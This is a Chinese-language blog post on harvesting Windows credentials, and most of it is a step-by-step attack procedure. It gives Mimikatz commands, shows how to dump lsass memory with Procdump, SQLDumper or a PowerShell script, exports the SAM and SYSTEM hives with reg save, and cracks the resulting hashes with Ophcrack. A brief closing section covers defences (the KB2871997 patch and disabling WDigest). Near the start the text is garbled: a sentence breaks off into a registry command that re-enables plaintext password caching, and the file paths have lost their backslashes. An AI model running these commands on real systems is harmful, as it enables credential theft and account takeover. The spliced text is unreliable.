Windows系统散列值获取

Windows认证机制

Windows下的安全认证机制总共有两种,一种是基于NTLM的认证方式,主要用在早期的Windows工作组环境中;另一种是基于Kerberos的认证方式,主要用在域环境中。

在windows中,密码通常由LM Hash和/vUseLogonCredential /t REG_DWORD /d 1 /f

直接读取
需要管理员权限

privilege::debug      //提升至debug权限 sekurlsa::logonpasswords  //抓取密码 

将mimikatz上传执行或上线cs利用插件进行直接读取

Windows系统散列值获取

Procdump导出lsass

Procdump+Mimikatz离线读取lsass.dmp文件
Procdump是微软官方发布的工具,可以用来将目标lsass文件导出。先在目标机器上上传Procdump,导出lsass.dmp。

procdump.exe -accepteula -ma lsass.exe lsass.dmp 
Windows系统散列值获取

如果对lsass.exe敏感,可以配合lsass.exe的pid来使用:

procdump -accepteula -ma pid lsass.dmp 

将lsass.dmp下载本地后,执行执行Mimikatz导出lsass.dmp里面的密码和hash:

sekurlsa::minidump 目录lsass.dmp //将导出的lsass.dmp载入到Mimikatz中 sekurlsa::logonpasswords full  //获取密码 

其他姿势代替Procdump导出lsass

SQLDumper代替Procdump dump lsass

如果目标系统上安装了windows sql server ,SqlDumper.exe默认存放在c:Program FilesMicrosoft SQL ServernumberShared,
number对应sqlserver版本

140 for SQL Server 2017 130 for SQL Server 2016 120 for SQL Server 2014 110 for SQL Server 2012 100 for SQL Server 2008 90 for SQL Server 2005 

利用方式:

查看lsass.exe的ProcessID

tasklist /svc | findstr lsass.exe 

根据ProcessID来dump 内存文件,Full dump file执行成功后会生产 SQLDmpr0001.mdmp文件

   Sqldumper.exe ProcessID 0 0x01100 

mimikatz加载dump文件

sekurlsa::minidump SQLDmpr0001.mdmp sekurlsa::logonPasswords full 

使用powershell版的procdump

具体利用:获得lsass.exe的进程ID

tasklist /svc |findstr lsass.exe dump lsass.exe进程的内存文件 powershell -exec bypass "import-module .Get-ProcessMiniDump.ps1;Get-ProcessMiniDump -ProcID 进程 -Path C:windowstaskslsass.dmp" 

PwDump

管理员权限运行PwDump,获取系统所有账户的散列值

Windows系统散列值获取

通过SAM和System文件抓取密码

利用注册表命令导出SAM和System文件

reg save hklmsam sam.hive reg save hklmsystem system.hive 
Windows系统散列值获取

将sam.hive和sysem.hive下载本地获取NTLMHash

利用工具minikatz读取,sam.hive,sysem.hive,minikatz.exe放在同一文件下

lsadump::sam /sam:sam.hive /system:system.hive 
Windows系统散列值获取

Windows密码破解

ophcrhttps://www.objectif-securite.ch/en/ophcrack提供了在线Hash破解服务,我们将得到的NTLM Hash输入到第一个查询框内,点击GO即可进行破解,小于14位的密码一般在几分钟内。

Windows系统散列值获取

ophcarck工具破解

Ophcrack是一款Windows密码哈希值破解工具,在它的官网为我们提供了几十GB的哈希表。彩虹表下载地址:
https://ophcrack.sourceforge.io/tables.php

防范手段

更新补丁

微软为了防止用户的明文密码在内存中泄露,发布了KB2871997补丁,关闭了Wdigest功能。Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997补丁,攻击者同样无法获取明文密码。

关闭Wdigest Auth

如果无法更新补丁,需要手动关闭Wdigest Auth,在CMD中输入以下命令:

reg add HKLMSYSTEMCurrentControlSet ControlSecurityProvidersWDigest /vUseLogonCredential /t REG_DWORD /d 0 /f // 关闭Wdigest Auth 

需要将UseLogonCredential的值设为0,然后注销当前用户,重新登陆即可。

版权声明:玥玥 发表于 2021-05-18 5:23:31。
转载请注明:Windows系统散列值获取 | 女黑客导航